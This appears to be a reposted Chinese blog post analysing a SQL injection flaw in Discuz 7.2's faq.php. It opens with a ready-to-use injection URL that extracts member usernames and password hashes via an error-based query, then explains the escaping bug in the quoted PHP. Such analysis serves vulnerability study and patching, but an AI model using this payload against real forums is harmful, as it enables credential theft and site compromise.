Discuz7.2版的faq.php SQL注入漏洞分析

php  /  管理员 发布于 7年前   139

注入代码实例:

复制代码 代码如下:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析： by phithon

复制代码 代码如下:

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定义一个数组groupids，然后遍历$gids（这也是个数组，就是$_GET[gids]），将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入？

discuz在全局会对GET数组进行addslashes转义，也就是说会将'转义成\'，所以，如果我们的传入的参数是：gids[1]='的话，会被转义成$gids[1]=\'，而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符，也就是\，把转义符号取出来了。

再看后面，在将数据放入sql语句前，他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数，就是将刚才的$groupids数组用','分割开，组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符，它会将这里一个正常的'转义掉，比如这样：
'1','\','3','4'
有没有看出有点不同，第4个单引号被转义了，也就是说第5个单引号和第3个单引号闭合。

您可能感兴趣的文章:

• PHP实现表单提交数据的验证处理功能【防SQL注入和XSS攻击等】
• php防止sql注入的方法详解
• PHP简单预防sql注入的方法
• PHP中防止SQL注入方法详解
• php中$_GET与$_POST过滤sql注入的方法
• PHP防范SQL注入的具体方法详解(测试通过)
• PHP开发中常见的安全问题详解和解决方法（如Sql注入、CSRF、Xss、CC等）
• php防止sql注入示例分析和几种常见攻击正则表达式
• PHP简单实现防止SQL注入的方法